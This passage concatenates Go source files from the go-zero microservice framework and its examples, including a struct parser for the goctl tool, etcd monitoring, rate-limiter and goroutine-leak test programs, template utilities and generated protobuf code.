ShrinkDeadline(ctx context.Context, timeout time.Duration) (context.Context, func()) { if deadline, ok := ctx.Deadline(); ok { leftTime := time.Until(deadline) if leftTime < timeout { timeout = leftTime } } return context.WithDeadline(ctx, time.Now().Add(timeout)) } ``` time.go ```package main import ( "fmt" "log" "time" "github.com/globalsign/mgo" "github.com/globalsign/mgo/bson" "github.com/tal-tech/go-zero/core/stores/mongo" ) type Roster struct { Id bson.ObjectId `bson:"_id"` CreateTime time.Time `bson:"createTime"` Classroom mgo.DBRef `bson:"classroom"` Member mgo.DBRef `bson:"member"` DisplayName string `bson:"displayName"` } func main() { model := mongo.MustNewModel("localhost:27017/blackboard", "roster") for i := 0; i < 1000; i++ { session, err := model.TakeSession() if err != nil { log.Fatal(err) } var roster Roster filter := bson.M{"_id": bson.ObjectIdHex("587353380cf2d7273d183f9e")} fmt.Println(model.GetCollection(session).Find(filter).One(&roster)) model.PutSession(session) } time.Sleep(time.Hour) } ``` servicecontext.go ```package svc import ( "shorturl/rpc/transform/internal/config" "shorturl/rpc/transform/model" "github.com/tal-tech/go-zero/core/stores/sqlx" ) type ServiceContext struct { c config.Config Model *model.ShorturlModel } func NewServiceContext(c config.Config) *ServiceContext { return &ServiceContext{ c: c, Model: model.NewShorturlModel(sqlx.NewMysql(c.DataSource), c.Cache, c.Table), } } ``` task.go ```package stat import "time" type Task struct { Drop bool Duration time.Duration Description string } ``` leak.go ```package main import ( "flag" "fmt" "log" "runtime" "strconv" "time" "github.com/tal-tech/go-zero/core/cmdline" "github.com/tal-tech/go-zero/core/collection" "github.com/tal-tech/go-zero/core/proc" ) const numItems = 1000000 var round = flag.Int("r", 3, "rounds to go") func main() { defer proc.StartProfile().Stop() flag.Parse() fmt.Println(getMemUsage()) for i := 0; i < *round; i++ { do() } cmdline.EnterToContinue() } func do() { tw, err := collection.NewTimingWheel(time.Second, 100, execute) if err != nil { log.Fatal(err) } for i := 0; i < numItems; i++ { key := strconv.Itoa(i) tw.SetTimer(key, key, time.Second*5) } fmt.Println(getMemUsage()) } func execute(k, v interface{}) { } func getMemUsage() string { runtime.GC() var m runtime.MemStats runtime.ReadMemStats(&m) // For more info, see: https://golang.org/pkg/runtime/#MemStats return fmt.Sprintf("Heap Alloc = %dMiB", toMiB(m.HeapAlloc)) } func toMiB(b uint64) uint64 { return b / 1024 / 1024 } ``` square.go ```package main import ( "fmt" "github.com/tal-tech/go-zero/core/fx" ) func main() { result, err := fx.From(func(source chan<- interface{}) { for i := 0; i < 10; i++ { source <- i } }).Map(func(item interface{}) interface{} { i := item.(int) return i * i }).Filter(func(item interface{}) bool { i := item.(int) return i%2 == 0 }).Distinct(func(item interface{}) interface{} { return item }).Reduce(func(pipe <-chan interface{}) (interface{}, error) { var result int for item := range pipe { i := item.(int) result += i } return result, nil }) if err != nil { fmt.Println(err) } else { fmt.Println(result) } } ``` times.go ```package utils import ( "fmt" "time" "github.com/tal-tech/go-zero/core/timex" ) type ElapsedTimer struct { start time.Duration } func NewElapsedTimer() *ElapsedTimer { return &ElapsedTimer{ start: timex.Now(), } } func (et *ElapsedTimer) Duration() time.Duration { return timex.Since(et.start) } func (et *ElapsedTimer) Elapsed() string { return timex.Since(et.start).String() } func (et *ElapsedTimer) ElapsedMs() string { return fmt.Sprintf("%.1fms", float32(timex.Since(et.start))/float32(time.Millisecond)) } func CurrentMicros() int64 { return time.Now().UnixNano() / int64(time.Microsecond) } func CurrentMillis() int64 { return time.Now().UnixNano() / int64(time.Millisecond) } ``` leak.go ```package main import ( "errors" "fmt" "os" "runtime" "runtime/pprof" "time" "github.com/tal-tech/go-zero/core/lang" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/mr" "github.com/tal-tech/go-zero/core/proc" ) func dumpGoroutines() { dumpFile := "goroutines.dump" logx.Infof("Got dump goroutine signal, printing goroutine profile to %s", dumpFile) if f, err := os.Create(dumpFile); err != nil { logx.Errorf("Failed to dump goroutine profile, error: %v", err) } else { defer f.Close() pprof.Lookup("goroutine").WriteTo(f, 2) } } func main() { profiler := proc.StartProfile() defer profiler.Stop() done := make(chan lang.PlaceholderType) go func() { for { time.Sleep(time.Second) fmt.Println(runtime.NumGoroutine()) } }() go func() { time.Sleep(time.Minute) dumpGoroutines() close(done) }() for { select { case <-done: return default: mr.MapReduce(func(source chan<- interface{}) { for i := 0; i < 100; i++ { source <- i } }, func(item interface{}, writer mr.Writer, cancel func(error)) { if item.(int) == 40 { cancel(errors.New("any")) return } writer.Write(item) }, func(pipe <-chan interface{}, writer mr.Writer, cancel func(error)) { list := make([]int, 0) for p := range pipe { list = append(list, p.(int)) } writer.Write(list) }) } } } ``` vars.go ```package parser const ( infoDirective = "info" serviceDirective = "service" typeDirective = "type" typeStruct = "struct" routeSyntax = "route syntax: [get/post/delete] /path(request) returns[(response)]" returnsTag = "returns" at = '@' colon = ':' leftParenthesis = '(' rightParenthesis = ')' leftBrace = "{" rightBrace = '}' multilineBeginTag = '>' multilineEndTag = '<' semicolon = ';' newline = "\n" ) ``` etcdmon.go ```package main import ( "context" "fmt" "strings" "time" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/proc" "github.com/tal-tech/go-zero/core/syncx" "go.etcd.io/etcd/clientv3" ) var ( endpoints []string keys = []string{ "user.rpc", "classroom.rpc", } vals = make(map[string]map[string]string) barrier syncx.Barrier ) type listener struct { key string } func init() { cluster := proc.Env("ETCD_CLUSTER") if len(cluster) > 0 { endpoints = strings.Split(cluster, ",") } else { endpoints = []string{"localhost:2379"} } } func (l listener) OnAdd(key, val string) { fmt.Printf("add, key: %s, val: %s\n", key, val) barrier.Guard(func() { if m, ok := vals[l.key]; ok { m[key] = val } else { vals[l.key] = map[string]string{key: val} } }) } func (l listener) OnDelete(key string) { fmt.Printf("del, key: %s\n", key) barrier.Guard(func() { if m, ok := vals[l.key]; ok { delete(m, key) } }) } func load(cli *clientv3.Client, key string) (map[string]string, error) { ctx, cancel := context.WithTimeout(context.Background(), time.Second) resp, err := cli.Get(ctx, key, clientv3.WithPrefix()) cancel() if err != nil { return nil, err } ret := make(map[string]string) for _, ev := range resp.Kvs { ret[string(ev.Key)] = string(ev.Value) } return ret, nil } func loadAll(cli *clientv3.Client) (map[string]map[string]string, error) { ret := make(map[string]map[string]string) for _, key := range keys { m, err := load(cli, key) if err != nil { return nil, err } ret[key] = m } return ret, nil } func compare(a, b map[string]map[string]string) bool { if len(a) != len(b) { return false } for k := range a { av := a[k] bv := b[k] if len(av) != len(bv) { return false } for kk := range av { if av[kk] != bv[kk] { return false } } } return true } func serializeMap(m map[string]map[string]string, prefix string) string { var builder strings.Builder for k, v := range m { fmt.Fprintf(&builder, "%s%s:\n", prefix, k) for kk, vv := range v { fmt.Fprintf(&builder, "%s\t%s: %s\n", prefix, kk, vv) } } return builder.String() } func main() { registry := discov.NewFacade(endpoints) for _, key := range keys { registry.Monitor(key, listener{key: key}) } ticker := time.NewTicker(time.Minute) defer ticker.Stop() for range ticker.C { expect, err := loadAll(registry.Client().(*clientv3.Client)) if err != nil { fmt.Println("[ETCD-test] can't load current keys") continue } check := func() bool { var match bool barrier.Guard(func() { match = compare(expect, vals) }) if match { logx.Info("match") } return match } if check() { continue } time.AfterFunc(time.Second*5, func() { if check() { return } var builder strings.Builder builder.WriteString(fmt.Sprintf("expect:\n%s\n", serializeMap(expect, "\t"))) barrier.Guard(func() { builder.WriteString(fmt.Sprintf("actual:\n%s\n", serializeMap(vals, "\t"))) }) fmt.Println(builder.String()) }) } } ``` config.go ```package kv import ( "github.com/tal-tech/go-zero/core/stores/cache" ) type KvConf = cache.ClusterConf ``` typeparser.go ```package parser import ( "errors" "fmt" "go/ast" "go/parser" "go/token" "sort" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) var ( ErrStructNotFound = errors.New("struct not found") ErrUnSupportInlineType = errors.New("unsupport inline type") interfaceExpr = `interface{}` objectM = make(map[string]*spec.Type) ) const ( golangF = `package ast %s ` pkgPrefix = "package" ) type StructParser struct { Src string } func (sp *StructParser) Parse() ([]spec.Type, error) { if !strings.HasPrefix(sp.Src, pkgPrefix) { sp.Src = fmt.Sprintf(golangF, sp.Src) } fSet := token.NewFileSet() f, err := parser.ParseFile(fSet, "", sp.Src, parser.ParseComments) if err != nil { return nil, err } commentMap := ast.NewCommentMap(fSet, f, f.Comments) f.Comments = commentMap.Filter(f).Comments() scope := f.Scope if scope == nil { return nil, ErrStructNotFound } objects := scope.Objects structs := make([]*spec.Type, 0) for structName, obj := range objects { st, err := sp.parseObject(structName, obj) if err != nil { return nil, err } structs = append(structs, st) } sort.Slice(structs, func(i, j int) bool { return structs[i].Name < structs[j].Name }) resp := make([]spec.Type, 0) for _, item := range structs { resp = append(resp, *item) } return resp, nil } func (sp *StructParser) parseObject(structName string, obj *ast.Object) (*spec.Type, error) { if data, ok := objectM[structName]; ok { return data, nil } var st spec.Type st.Name = structName if obj.Decl == nil { objectM[structName] = &st return &st, nil } decl, ok := obj.Decl.(*ast.TypeSpec) if !ok { objectM[structName] = &st return &st, nil } if decl.Type == nil { objectM[structName] = &st return &st, nil } tp, ok := decl.Type.(*ast.StructType) if !ok { objectM[structName] = &st return &st, nil } fields := tp.Fields if fields == nil { objectM[structName] = &st return &st, nil } fieldList := fields.List members, err := sp.parseFields(fieldList) if err != nil { return nil, err } st.Members = members objectM[structName] = &st return &st, nil } func (sp *StructParser) parseFields(fields []*ast.Field) ([]spec.Member, error) { members := make([]spec.Member, 0) for _, field := range fields { docs := parseCommentOrDoc(field.Doc) comments := parseCommentOrDoc(field.Comment) name := parseName(field.Names) tp, stringExpr, err := sp.parseType(field.Type) if err != nil { return nil, err } tag := parseTag(field.Tag) isInline := name == "" if isInline { var err error name, err = sp.getInlineName(tp) if err != nil { return nil, err } } members = append(members, spec.Member{ Name: name, Type: stringExpr, Expr: tp, Tag: tag, Comments: comments, Docs: docs, IsInline: isInline, }) } return members, nil } func (sp *StructParser) getInlineName(tp interface{}) (string, error) { switch v := tp.(type) { case *spec.Type: return v.Name, nil case *spec.PointerType: return sp.getInlineName(v.Star) case *spec.StructType: return v.StringExpr, nil default: return "", ErrUnSupportInlineType } } func (sp *StructParser) getInlineTypePrefix(tp interface{}) (string, error) { if tp == nil { return "", nil } switch tp.(type) { case *ast.Ident: return "", nil case *ast.StarExpr: return "*", nil case *ast.TypeSpec: return "", nil default: return "", ErrUnSupportInlineType } } func parseTag(basicLit *ast.BasicLit) string { if basicLit == nil { return "" } return basicLit.Value } // returns // resp1: type can convert to *spec.PointerType|*spec.BasicType|*spec.MapType|*spec.ArrayType|*spec.InterfaceType // resp2: type's string expression,like int、string、[]int64、map[string]User、*User // resp3: error func (sp *StructParser) parseType(expr ast.Expr) (interface{}, string, error) { if expr == nil { return nil, "", errors.New("parse error " + sp.Src) } exprStr := sp.Src[expr.Pos():expr.End()] switch v := expr.(type) { case *ast.StarExpr: star, stringExpr, err := sp.parseType(v.X) if err != nil { return nil, "", err } e := fmt.Sprintf("*%s", stringExpr) return &spec.PointerType{Star: star, StringExpr: e}, e, nil case *ast.Ident: if isBasicType(v.Name) { return &spec.BasicType{Name: v.Name, StringExpr: v.Name}, v.Name, nil } else if v.Obj != nil { obj := v.Obj if obj.Name != v.Name { // 防止引用自己而无限递归 specType, err := sp.parseObject(v.Name, v.Obj) if err != nil { return nil, "", err } else { return specType, v.Obj.Name, nil } } else { inlineType, err := sp.getInlineTypePrefix(obj.Decl) if err != nil { return nil, "", err } return &spec.StructType{ StringExpr: fmt.Sprintf("%s%s", inlineType, v.Name), }, v.Name, nil } } else { return nil, "", fmt.Errorf(" [%s] - member is not exist, expr is %s", v.Name, exprStr) } case *ast.MapType: key, keyStringExpr, err := sp.parseType(v.Key) if err != nil { return nil, "", err } value, valueStringExpr, err := sp.parseType(v.Value) if err != nil { return nil, "", err } keyType, ok := key.(*spec.BasicType) if !ok { return nil, "", fmt.Errorf("[%+v] - unsupported type of map key, expr is %s", v.Key, exprStr) } e := fmt.Sprintf("map[%s]%s", keyStringExpr, valueStringExpr) return &spec.MapType{ Key: keyType.Name, Value: value, StringExpr: e, }, e, nil case *ast.ArrayType: arrayType, stringExpr, err := sp.parseType(v.Elt) if err != nil { return nil, "", err } e := fmt.Sprintf("[]%s", stringExpr) return &spec.ArrayType{ArrayType: arrayType, StringExpr: e}, e, nil case *ast.InterfaceType: return &spec.InterfaceType{StringExpr: interfaceExpr}, interfaceExpr, nil case *ast.ChanType: return nil, "", errors.New("[chan] - unsupported type, expr is " + exprStr) case *ast.FuncType: return nil, "", errors.New("[func] - unsupported type, expr is " + exprStr) case *ast.StructType: // todo can optimize return nil, "", errors.New("[struct] - unsupported inline struct type, expr is " + exprStr) case *ast.SelectorExpr: x := v.X sel := v.Sel xIdent, ok := x.(*ast.Ident) if ok { name := xIdent.Name if name != "time" && sel.Name != "Time" { return nil, "", fmt.Errorf("[outter package] - package: %s, unsupport type", exprStr) } tm := fmt.Sprintf("time.Time") return &spec.TimeType{ StringExpr: tm, }, tm, nil } return nil, "", errors.New("parse error " + exprStr) default: return nil, "", errors.New("parse error " + exprStr) } } func isBasicType(tp string) bool { switch tp { case "bool", "uint8", "uint16", "uint32", "uint64", "int8", "int16", "int32", "int64", "float32", "float64", "complex64", "complex128", "string", "int", "uint", "uintptr", "byte", "rune", "Type", "Type1", "IntegerType", "FloatType", "ComplexType": return true default: return false } } func parseName(names []*ast.Ident) string { if len(names) == 0 { return "" } name := names[0] return parseIdent(name) } func parseIdent(ident *ast.Ident) string { if ident == nil { return "" } return ident.Name } func parseCommentOrDoc(cg *ast.CommentGroup) []string { if cg == nil { return nil } comments := make([]string, 0) for _, comment := range cg.List { if comment == nil { continue } text := strings.TrimSpace(comment.Text) if text == "" { continue } comments = append(comments, text) } return comments } ``` gracefulhandler.go ```package handler import ( "context" "fmt" "net/http" "os" "time" "github.com/tal-tech/go-zero/core/executors" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/example/graceful/dns/api/svc" "github.com/tal-tech/go-zero/example/graceful/dns/api/types" "github.com/tal-tech/go-zero/example/graceful/dns/rpc/graceful" "github.com/tal-tech/go-zero/rest/httpx" ) func gracefulHandler(ctx *svc.ServiceContext) http.HandlerFunc { logger := executors.NewLessExecutor(time.Second) return func(w http.ResponseWriter, r *http.Request) { host, err := os.Hostname() if err != nil { http.Error(w, http.StatusText(http.StatusNotImplemented), http.StatusNotImplemented) return } conn := ctx.Client.Conn() client := graceful.NewGraceServiceClient(conn) rp, err := client.Grace(context.Background(), &graceful.Request{From: host}) if err != nil { logx.Error(err) http.Error(w, http.StatusText(http.StatusBadGateway), http.StatusBadGateway) return } var resp types.Response resp.Host = rp.Host logger.DoOrDiscard(func() { fmt.Printf("%s from host: %s\n", time.Now().Format("15:04:05"), rp.Host) }) httpx.OkJson(w, resp) } } ``` tokenlimit.go ```package main import ( "flag" "fmt" "runtime" "sync" "sync/atomic" "time" "github.com/tal-tech/go-zero/core/limit" "github.com/tal-tech/go-zero/core/stores/redis" ) const ( burst = 100 rate = 100 seconds = 5 ) var ( rdx = flag.String("redis", "localhost:6379", "the redis, default localhost:6379") rdxType = flag.String("redisType", "node", "the redis type, default node") rdxKey = flag.String("redisKey", "rate", "the redis key, default rate") rdxPass = flag.String("redisPass", "", "the redis password") threads = flag.Int("threads", runtime.NumCPU(), "the concurrent threads, default to cores") ) func main() { flag.Parse() store := redis.NewRedis(*rdx, *rdxType, *rdxPass) fmt.Println(store.Ping()) limit := limit.NewTokenLimiter(rate, burst, store, *rdxKey) timer := time.NewTimer(time.Second * seconds) quit := make(chan struct{}) defer timer.Stop() go func() { <-timer.C close(quit) }() var allowed, denied int32 var wait sync.WaitGroup for i := 0; i < *threads; i++ { wait.Add(1) go func() { for { select { case <-quit: wait.Done() return default: if limit.Allow() { atomic.AddInt32(&allowed, 1) } else { atomic.AddInt32(&denied, 1) } } } }() } wait.Wait() fmt.Printf("allowed: %d, denied: %d, qps: %d\n", allowed, denied, (allowed+denied)/seconds) } ``` expandlogic.go ```package logic import ( "context" "shorturl/api/internal/svc" "shorturl/api/internal/types" "shorturl/rpc/transform/transformer" "github.com/tal-tech/go-zero/core/logx" ) type ExpandLogic struct { logx.Logger ctx context.Context svcCtx *svc.ServiceContext } func NewExpandLogic(ctx context.Context, svcCtx *svc.ServiceContext) ExpandLogic { return ExpandLogic{ Logger: logx.WithContext(ctx), ctx: ctx, svcCtx: svcCtx, } } func (l *ExpandLogic) Expand(req types.ExpandReq) (*types.ExpandResp, error) { resp, err := l.svcCtx.Transformer.Expand(l.ctx, &transformer.ExpandReq{ Shorten: req.Shorten, }) if err != nil { return nil, err } return &types.ExpandResp{ Url: resp.Url, }, nil } ``` files.go ```package util import ( "io/ioutil" "os" "path/filepath" ) const goctlDir = ".goctl" func GetGoctlHome() (string, error) { home, err := os.UserHomeDir() if err != nil { return "", err } return filepath.Join(home, goctlDir), nil } func GetTemplateDir(category string) (string, error) { goctlHome, err := GetGoctlHome() if err != nil { return "", err } return filepath.Join(goctlHome, category), nil } func InitTemplates(category string, templates map[string]string) error { dir, err := GetTemplateDir(category) if err != nil { return err } if err := MkdirIfNotExist(dir); err != nil { return err } for k, v := range templates { if err := createTemplate(filepath.Join(dir, k), v, false); err != nil { return err } } return nil } func CreateTemplate(category, name, content string) error { dir, err := GetTemplateDir(category) if err != nil { return err } return createTemplate(filepath.Join(dir, name), content, true) } func Clean(category string) error { dir, err := GetTemplateDir(category) if err != nil { return err } return os.RemoveAll(dir) } func LoadTemplate(category, file, builtin string) (string, error) { dir, err := GetTemplateDir(category) if err != nil { return "", err } file = filepath.Join(dir, file) if !FileExists(file) { return builtin, nil } content, err := ioutil.ReadFile(file) if err != nil { return "", err } return string(content), nil } func createTemplate(file, content string, force bool) error { if FileExists(file) && !force { return nil } f, err := os.Create(file) if err != nil { return err } defer f.Close() _, err = f.WriteString(content) return err } ``` main.go ```package main import ( "flag" "net/http" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/rest" "github.com/tal-tech/go-zero/rest/httpx" ) var ( port = flag.Int("port", 3333, "the port to listen") timeout = flag.Int64("timeout", 0, "timeout of milliseconds") ) type Request struct { User string `form:"user,options=a|b"` } func first(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { w.Header().Add("X-Middleware", "first") next(w, r) } } func second(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { w.Header().Add("X-Middleware", "second") next(w, r) } } func handle(w http.ResponseWriter, r *http.Request) { var req Request err := httpx.Parse(r, &req) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } httpx.OkJson(w, "helllo, "+req.User) } func main() { flag.Parse() engine := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, Port: *port, Timeout: *timeout, MaxConns: 500, }, rest.WithNotAllowedHandler(rest.CorsHandler())) defer engine.Stop() engine.Use(first) engine.Use(second) engine.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/", Handler: handle, }) engine.Start() } ``` client.go ```package main import ( "context" "flag" "fmt" "time" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/rpc/remote/unary" "github.com/tal-tech/go-zero/zrpc" ) var configFile = flag.String("f", "config.json", "the config file") func main() { flag.Parse() var c zrpc.RpcClientConf conf.MustLoad(*configFile, &c) client := zrpc.MustNewClient(c) ticker := time.NewTicker(time.Millisecond * 500) defer ticker.Stop() for { select { case <-ticker.C: conn := client.Conn() greet := unary.NewGreeterClient(conn) resp, err := greet.Greet(context.Background(), &unary.Request{ Name: "kevin", }) if err != nil { fmt.Println("X", err.Error()) } else { fmt.Println("=>", resp.Greet) } } } } ``` basestate.go ```package parser import ( "bufio" "fmt" "strings" ) const ( startState = iota attrNameState attrValueState attrColonState multilineState ) type baseState struct { r *bufio.Reader lineNumber *int } func newBaseState(r *bufio.Reader, lineNumber *int) *baseState { return &baseState{ r: r, lineNumber: lineNumber, } } func (s *baseState) parseProperties() (map[string]string, error) { var r = s.r var attributes = make(map[string]string) var builder strings.Builder var key string var st = startState for { ch, err := s.readSkipComment() if err != nil { return nil, err } switch st { case startState: switch { case isNewline(ch): return nil, fmt.Errorf("%q should be on the same line with %q", leftParenthesis, infoDirective) case isSpace(ch): continue case ch == leftParenthesis: st = attrNameState default: return nil, fmt.Errorf("unexpected char %q after %q", ch, infoDirective) } case attrNameState: switch { case isNewline(ch): if builder.Len() > 0 { return nil, fmt.Errorf("unexpected newline after %q", builder.String()) } case isLetterDigit(ch): builder.WriteRune(ch) case isSpace(ch): if builder.Len() > 0 { key = builder.String() builder.Reset() st = attrColonState } case ch == colon: if builder.Len() == 0 { return nil, fmt.Errorf("unexpected leading %q", ch) } key = builder.String() builder.Reset() st = attrValueState case ch == rightParenthesis: return attributes, nil } case attrColonState: switch { case isSpace(ch): continue case ch == colon: st = attrValueState default: return nil, fmt.Errorf("bad char %q after %q in %q", ch, key, infoDirective) } case attrValueState: switch { case ch == multilineBeginTag: if builder.Len() > 0 { return nil, fmt.Errorf("%q before %q", builder.String(), multilineBeginTag) } else { st = multilineState } case isSpace(ch): if builder.Len() > 0 { builder.WriteRune(ch) } case isNewline(ch): attributes[key] = builder.String() builder.Reset() st = attrNameState case ch == rightParenthesis: attributes[key] = builder.String() builder.Reset() return attributes, nil default: builder.WriteRune(ch) } case multilineState: switch { case ch == multilineEndTag: attributes[key] = builder.String() builder.Reset() st = attrNameState case isNewline(ch): var multipleNewlines bool loopAfterNewline: for { next, err := read(r) if err != nil { return nil, err } switch { case isSpace(next): continue case isNewline(next): multipleNewlines = true default: if err := unread(r); err != nil { return nil, err } break loopAfterNewline } } if multipleNewlines { fmt.Fprintln(&builder) } else { builder.WriteByte(' ') } case ch == rightParenthesis: if builder.Len() > 0 { attributes[key] = builder.String() builder.Reset() } return attributes, nil default: builder.WriteRune(ch) } } } } func (s *baseState) read() (rune, error) { value, err := read(s.r) if err != nil { return 0, err } if isNewline(value) { *s.lineNumber++ } return value, nil } func (s *baseState) readSkipComment() (rune, error) { ch, err := s.read() if err != nil { return 0, err } if isSlash(ch) { value, err := s.mayReadToEndOfLine() if err != nil { return 0, err } if value > 0 { ch = value } } return ch, nil } func (s *baseState) mayReadToEndOfLine() (rune, error) { ch, err := s.read() if err != nil { return 0, err } if isSlash(ch) { for { value, err := s.read() if err != nil { return 0, err } if isNewline(value) { return value, nil } } } err = s.unread() return 0, err } func (s *baseState) readLineSkipComment() (string, error) { line, err := s.readLine() if err != nil { return "", err } var commentIdx = strings.Index(line, "//") if commentIdx >= 0 { return line[:commentIdx], nil } return line, nil } func (s *baseState) readLine() (string, error) { line, _, err := s.r.ReadLine() if err != nil { return "", err } *s.lineNumber++ return string(line), nil } func (s *baseState) skipSpaces() error { return skipSpaces(s.r) } func (s *baseState) unread() error { return unread(s.r) } ``` lesslogger.go ```package logx type LessLogger struct { *limitedExecutor } func NewLessLogger(milliseconds int) *LessLogger { return &LessLogger{ limitedExecutor: newLimitedExecutor(milliseconds), } } func (logger *LessLogger) Error(v ...interface{}) { logger.logOrDiscard(func() { Error(v...) }) } func (logger *LessLogger) Errorf(format string, v ...interface{}) { logger.logOrDiscard(func() { Errorf(format, v...) }) } ``` user.pb.go ```// Code generated by protoc-gen-go. // source: user.proto // DO NOT EDIT! /* Package user is a generated protocol buffer package. It is generated from these files: user.proto It has these top-level messages: UserRequest UserResponse */ package user import ( "fmt" "math" "github.com/golang/protobuf/proto" "golang.org/x/net/context" "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type UserRequest struct { Name string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` } func (m *UserRequest) Reset() { *m = UserRequest{} } func (m *UserRequest) String() string { return proto.CompactTextString(m) } func (*UserRequest) ProtoMessage() {} func (*UserRequest) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *UserRequest) GetName() string { if m != nil { return m.Name } return "" } type UserResponse struct { Response string `protobuf:"bytes,1,opt,name=response" json:"response,omitempty"` } func (m *UserResponse) Reset() { *m = UserResponse{} } func (m *UserResponse) String() string { return proto.CompactTextString(m) } func (*UserResponse) ProtoMessage() {} func (*UserResponse) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *UserResponse) GetResponse() string { if m != nil { return m.Response } return "" } func init() { proto.RegisterType((*UserRequest)(nil), "user.UserRequest") proto.RegisterType((*UserResponse)(nil), "user.UserResponse") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for User service type UserClient interface { GetGrade(ctx context.Context, in *UserRequest, opts ...grpc.CallOption) (*UserResponse, error) } type userClient struct { cc *grpc.ClientConn } func NewUserClient(cc *grpc.ClientConn) UserClient { return &userClient{cc} } func (c *userClient) GetGrade(ctx context.Context, in *UserRequest, opts ...grpc.CallOption) (*UserResponse, error) { out := new(UserResponse) err := grpc.Invoke(ctx, "/user.User/GetGrade", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } // Server API for User service type UserServer interface { GetGrade(context.Context, *UserRequest) (*UserResponse, error) } func RegisterUserServer(s *grpc.Server, srv UserServer) { s.RegisterService(&_User_serviceDesc, srv) } func _User_GetGrade_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(UserRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(UserServer).GetGrade(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/user.User/GetGrade", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(UserServer).GetGrade(ctx, req.(*UserRequest)) } return interceptor(ctx, in, info, handler) } var _User_serviceDesc = grpc.ServiceDesc{ ServiceName: "user.User", HandlerType: (*UserServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "GetGrade", Handler: _User_GetGrade_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "user.proto", } func init() { proto.RegisterFile("user.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 131 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x2a, 0x2d, 0x4e, 0x2d, 0xd2, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0x62, 0x01, 0xb1, 0x95, 0x14, 0xb9, 0xb8, 0x43, 0x8b, 0x53, 0x8b, 0x82, 0x52, 0x0b, 0x4b, 0x53, 0x8b, 0x4b, 0x84, 0x84, 0xb8, 0x58, 0xf2, 0x12, 0x73, 0x53, 0x25, 0x18, 0x15, 0x18, 0x35, 0x38, 0x83, 0xc0, 0x6c, 0x25, 0x2d, 0x2e, 0x1e, 0x88, 0x92, 0xe2, 0x82, 0xfc, 0xbc, 0xe2, 0x54, 0x21, 0x29, 0x2e, 0x8e, 0x22, 0x28, 0x1b, 0xaa, 0x0e, 0xce, 0x37, 0xb2, 0xe4, 0x62, 0x01, 0xa9, 0x15, 0x32, 0xe4, 0xe2, 0x70, 0x4f, 0x2d, 0x71, 0x2f, 0x4a, 0x4c, 0x49, 0x15, 0x12, 0xd4, 0x03, 0xdb, 0x8a, 0x64, 0x8d, 0x94, 0x10, 0xb2, 0x10, 0x44, 0x6b, 0x12, 0x1b, 0xd8, 0x59, 0xc6, 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0x99, 0xfd, 0x8f, 0x70, 0xa4, 0x00, 0x00, 0x00, } ``` fn.go ```package spec import ( "errors" "regexp" "strings" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/util" ) const ( TagKey = "tag" NameKey = "name" OptionKey = "option" BodyTag = "json" ) var ( TagRe = regexp.MustCompile(`(?P<tag>\w+):"(?P<name>[^,"]+)[,]?(?P<option>[^"]*)"`) TagSubNames = TagRe.SubexpNames() definedTags = []string{TagKey, NameKey, OptionKey} ) type Attribute struct { Key string value string } func (s Service) Routes() []Route { var result []Route for _, group := range s.Groups { result = append(result, group.Routes...) } return result } func (m Member) IsOptional() bool { var option string matches := TagRe.FindStringSubmatch(m.Tag) for i := range matches { name := TagSubNames[i] if name == OptionKey { option = matches[i] } } if len(option) == 0 { return false } fields := strings.Split(option, ",") for _, field := range fields { if field == "optional" || strings.HasPrefix(field, "default=") { return true } } return false } func (m Member) IsOmitempty() bool { var option string matches := TagRe.FindStringSubmatch(m.Tag) for i := range matches { name := TagSubNames[i] if name == OptionKey { option = matches[i] } } if len(option) == 0 { return false } fields := strings.Split(option, ",") for _, field := range fields { if field == "omitempty" { return true } } return false } func (m Member) GetAttributes() []Attribute { matches := TagRe.FindStringSubmatch(m.Tag) var result []Attribute for i := range matches { name := TagSubNames[i] if stringx.Contains(definedTags, name) { result = append(result, Attribute{ Key: name, value: matches[i], }) } } return result } func (m Member) GetPropertyName() (string, error) { attrs := m.GetAttributes() for _, attr := range attrs { if attr.Key == NameKey && len(attr.value) > 0 { if attr.value == "-" { return util.Untitle(m.Name), nil } return attr.value, nil } } return "", errors.New("json property name not exist, member: " + m.Name) } func (m Member) GetComment() string { 